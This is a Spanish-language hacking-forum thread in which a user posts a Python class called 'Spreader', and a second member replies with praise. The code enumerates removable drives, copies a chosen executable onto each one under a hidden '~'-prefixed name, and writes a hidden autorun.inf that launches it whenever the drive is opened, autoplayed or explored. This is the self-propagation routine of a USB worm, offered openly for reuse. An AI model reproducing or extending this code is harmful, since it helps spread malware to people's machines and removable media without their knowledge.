Underc0de

Programación Scripting => Python => Mensaje iniciado por: WhiZ en Junio 09, 2014, 11:45:13 PM

Título: USB Spreader
Publicado por: WhiZ en Junio 09, 2014, 11:45:13 PM
Hola gente! Motivado por el código expuesto por 0b3Y en este post (http://underc0de.org/foro/scripting/%28autoit%29-usb-spreader-function/msg74943/?topicseen#msg74943), me decidí a crear una clase Spreader en python que cumpla con dicha función.

Sin más, aquí el código:

Código (python) [Seleccionar]
import win32api
import win32con
import win32file
import sys
import os

class Spreader(object):
    def __init__(self, path):    # path debe ser absoluto
        print " [*] Checking information"

        self.filename = path.split("\\")[-1]
        self.driveFilename = self.filename
       
        if not self.driveFilename.startswith("~"):
            self.driveFilename = "~" + self.driveFilename

        print "\t- Local filename: " + self.filename
        print "\t- Driver filename: " + self.driveFilename
       
        self.path = "\\".join(path.split("\\")[:-1]) + "\\" + self.filename

        print "\t- Full path: " + self.path

        print "\n [*] Getting removable drives"
        self.drives = self.__getRemovableDrives()

        if len(self.drives) == None:
            print " [-] No removable drives available"
            sys.exit()

        for drive in self.drives:
            print "\t- " + drive

        print "\n [*] Spreading"
        self.__spread()

        print "\n [+] Successfully spread"

    def __getRemovableDrives(self):
        removableDrives = []
        drives = win32api.GetLogicalDriveStrings().split("\000")[:-1]

        for drive in drives:
            driveType = win32file.GetDriveType(drive)
           
            if driveType == win32file.DRIVE_REMOVABLE:
                removableDrives.append(drive)
               
        return removableDrives

    def __spread(self):
        for drive in self.drives:
                       
            if drive == "A:\\":
                continue
           
            else:

                driveFile = drive + self.driveFilename
                driveAutorun = drive + "autorun.inf"

                print " [+] " + drive
           
                if not os.path.exists(driveFile):
                    self.__copyFile(driveFile)
                   
                if not os.path.exists(driveAutorun):
                    self.__createAutorun(driveAutorun)

    def __copyFile(self, driveFile):
        print "\t- Copying file: " + self.driveFilename,
        win32file.CopyFile(self.path, driveFile, 0)
        print "\t\t\tDONE"

        print "\t- Hidding file",
        win32api.SetFileAttributes(driveFile,\
                                   win32con.FILE_ATTRIBUTE_HIDDEN)
        print "\t\t\tDONE"

    def __createAutorun(self, driveAutorun):
        print "\t- Creating autorun.inf",
        autorun = open(driveAutorun, "w")
        content = """[Autorun]
open={0}
icon={0}
label=Python Spreader
UseAutoPlay=1
action=Start my App
action=@{0}
shell\open=Open
shell\open\Command={0}
shell\explore=explore
shell\explore\command={0}""".format(self.driveFilename)
        autorun.write(content)
        autorun.close()
        print "\t\t\tDONE"

        print "\t- Hidding autorun",
        win32api.SetFileAttributes(driveAutorun,\
                                   win32con.FILE_ATTRIBUTE_HIDDEN)
        print "\t\t\tDONE"


Mañana actualizo el code (me falta manejo de errores). También le voy a añadir la opción verbose para que la salida no sea obligatoria.
Por último, falta añadir la opción de importar el contenido del autorun.

Espero que les guste.

Saludos!
WhiZ
Título: Re:USB Spreader
Publicado por: ANTRAX en Junio 10, 2014, 09:41:24 AM
Excelente como siempre WhiZ! Gran trabajo!!